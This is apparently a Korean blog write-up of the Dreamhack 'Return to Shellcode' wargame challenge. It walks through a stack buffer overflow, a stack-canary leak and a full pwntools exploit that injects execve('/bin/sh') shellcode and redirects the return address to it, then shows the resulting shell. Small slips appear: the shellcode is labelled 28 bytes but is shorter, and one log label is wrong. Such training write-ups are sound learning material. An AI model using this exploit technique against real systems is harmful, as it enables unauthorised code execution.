War Game/Pwnable

[Dreamhack] Return to Shellcode

GunP4ng 2024. 5. 4. 23:45

Return to Shellcode 문제 풀이


1. 취약점 확인

1. C언어

먼저 checksec 명령어로 취약점을 확인해보자

$ checksec r2s
[*] '/workspaces/codespaces-blank/Dreamhack/r2s/r2s'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

x64 아키텍처 에 canary 가 적용된 것을 확인할 수 있다.

 

C언어를 확인해보자.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);


  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

char buf[0x50];

read(0, buf, 0x100);
gets(buf);

buf 는 0x50 의 크기이지만

입력을 받는 함수 read, gets 둘 다 0x50 의 크기보다 크게 입력을 받고 있다.

→ BOF 가 발생한다.

 

2. 어셈블리 확인

main 함수의 어셈블리를 확인해보자

   0x00000000000008cd <+0>:     push   rbp
   0x00000000000008ce <+1>:     mov    rbp,rsp
   0x00000000000008d1 <+4>:     sub    rsp,0x60
   0x00000000000008d5 <+8>:     mov    rax,QWORD PTR fs:0x28
   0x00000000000008de <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000008e2 <+21>:    xor    eax,eax
   0x00000000000008e4 <+23>:    mov    eax,0x0
   0x00000000000008e9 <+28>:    call   0x88a <init>
   0x00000000000008ee <+33>:    lea    rax,[rbp-0x60]
   0x00000000000008f2 <+37>:    mov    rsi,rax
   0x00000000000008f5 <+40>:    lea    rdi,[rip+0x16c]        # 0xa68
   0x00000000000008fc <+47>:    mov    eax,0x0
   0x0000000000000901 <+52>:    call   0x720 <printf@plt>
   0x0000000000000906 <+57>:    mov    rax,rbp
   0x0000000000000909 <+60>:    mov    rdx,rax
   0x000000000000090c <+63>:    lea    rax,[rbp-0x60]
   0x0000000000000910 <+67>:    sub    rdx,rax
   0x0000000000000913 <+70>:    mov    rax,rdx
   0x0000000000000916 <+73>:    mov    rsi,rax
   0x0000000000000919 <+76>:    lea    rdi,[rip+0x160]        # 0xa80
   0x0000000000000920 <+83>:    mov    eax,0x0
   0x0000000000000925 <+88>:    call   0x720 <printf@plt>
   0x000000000000092a <+93>:    lea    rdi,[rip+0x173]        # 0xaa4
   0x0000000000000931 <+100>:   call   0x700 <puts@plt>
   0x0000000000000936 <+105>:   lea    rdi,[rip+0x17b]        # 0xab8
   0x000000000000093d <+112>:   mov    eax,0x0
   0x0000000000000942 <+117>:   call   0x720 <printf@plt>
   0x0000000000000947 <+122>:   mov    rax,QWORD PTR [rip+0x2006c2]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x000000000000094e <+129>:   mov    rdi,rax
   0x0000000000000951 <+132>:   call   0x750 <fflush@plt>
   0x0000000000000956 <+137>:   lea    rax,[rbp-0x60]			; buf = rbp-0x60
   0x000000000000095a <+141>:   mov    edx,0x100				; 0x100
   0x000000000000095f <+146>:   mov    rsi,rax					; buf
   0x0000000000000962 <+149>:   mov    edi,0x0					; 0
   0x0000000000000967 <+154>:   call   0x730 <read@plt>			; read(0, buf, 0x100)
   0x000000000000096c <+159>:   lea    rax,[rbp-0x60]
   0x0000000000000970 <+163>:   mov    rsi,rax
   0x0000000000000973 <+166>:   lea    rdi,[rip+0x146]        # 0xac0
   0x000000000000097a <+173>:   mov    eax,0x0
   0x000000000000097f <+178>:   call   0x720 <printf@plt>
   0x0000000000000984 <+183>:   lea    rdi,[rip+0x14d]        # 0xad8
   0x000000000000098b <+190>:   call   0x700 <puts@plt>
   0x0000000000000990 <+195>:   lea    rdi,[rip+0x121]        # 0xab8
   0x0000000000000997 <+202>:   mov    eax,0x0
   0x000000000000099c <+207>:   call   0x720 <printf@plt>
   0x00000000000009a1 <+212>:   mov    rax,QWORD PTR [rip+0x200668]        # 0x201010 <stdout@@GLIBC_2.2.5>
   0x00000000000009a8 <+219>:   mov    rdi,rax
   0x00000000000009ab <+222>:   call   0x750 <fflush@plt>
   0x00000000000009b0 <+227>:   lea    rax,[rbp-0x60]
   0x00000000000009b4 <+231>:   mov    rdi,rax
   0x00000000000009b7 <+234>:   mov    eax,0x0
   0x00000000000009bc <+239>:   call   0x740 <gets@plt>
   0x00000000000009c1 <+244>:   mov    eax,0x0
   0x00000000000009c6 <+249>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000000009ca <+253>:   xor    rcx,QWORD PTR fs:0x28
   0x00000000000009d3 <+262>:   je     0x9da <main+269>
   0x00000000000009d5 <+264>:   call   0x710 <__stack_chk_fail@plt>
   0x00000000000009da <+269>:   leave  
   0x00000000000009db <+270>:   ret

buf 는 rbp-0x60 인 것을 알 수 있다.

하지만 canary 가 적용되었기 때문에 8바이트를 뺀 0x58 의 값이 buf 이다

 

 

2. 스택 프레임

1. 스택 프레임 구조

스택 프레임 구조

buf 의 크기는 canary 값을 뺀 0x58 이다

canary 는 64bit 이므로 8 byte 이다.

 

첫 번째 입력 때

buf 와 canary 의 NULL 까지 dummy 로 채운뒤 

canary leak 을 하여 canary 값을 알아낸다

첫 번째 입력

두 번째 입력 때

buf 에 shellcode 넣고 0x58 까지 dummy 값으로 채운다

알아낸 canary 값을 이용하여 canary 를 덮는다

SFP 를 dummy 로 채우고

RET 에 출력된 buf 의 주소를 넣으면

 

buf 에 있는 shellcode 가 실행되면서 셸이 실행될 것이다.

페이로드 구성

 

 

3. 페이로드 (Payload)

1. pwntools 코드 작성

 

from pwn import *

context.log_level='debug'
context(arch='amd64', os='linux')

p = remote('host3.dreamhack.games', 22475)

# buf 주소 구하기
p.recvuntil('0x')
buf_addr = int(p.recvn(12), 16)
log.info('buf_addr: %x', buf_addr)

shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05' # 28byte
padding = 88 - len(shellcode)

# canary 의 NULL까지 덮어서 canary 값 출력
p.recvuntil('Input: ')
dummy = b'A' * 89
p.send(dummy)

# canary 값 알아내기
p.recvuntil(dummy)
canary = u64(b'\x00' + p.recvn(7))
log.info('canary: %x', canary)

payload = shellcode
payload += b'A' * padding
payload += p64(canary)
payload += b'A' * 8
payload += p64(buf_addr)

p.recvuntil('Input: ')
p.send(payload)

p.interactive()

위에서 작성한 흐름대로 pwntools 를 이용하여 코드를 작성하고 실행하면

 

$ python ./payload.py
buf_addr: 0x7ffc9517f150
buf_addr: 0x1ae46c811a4b7200
$ ls
flag
r2s
$ cat flag
DH{-----------------------------------------}

플래그를 획득할 수 있다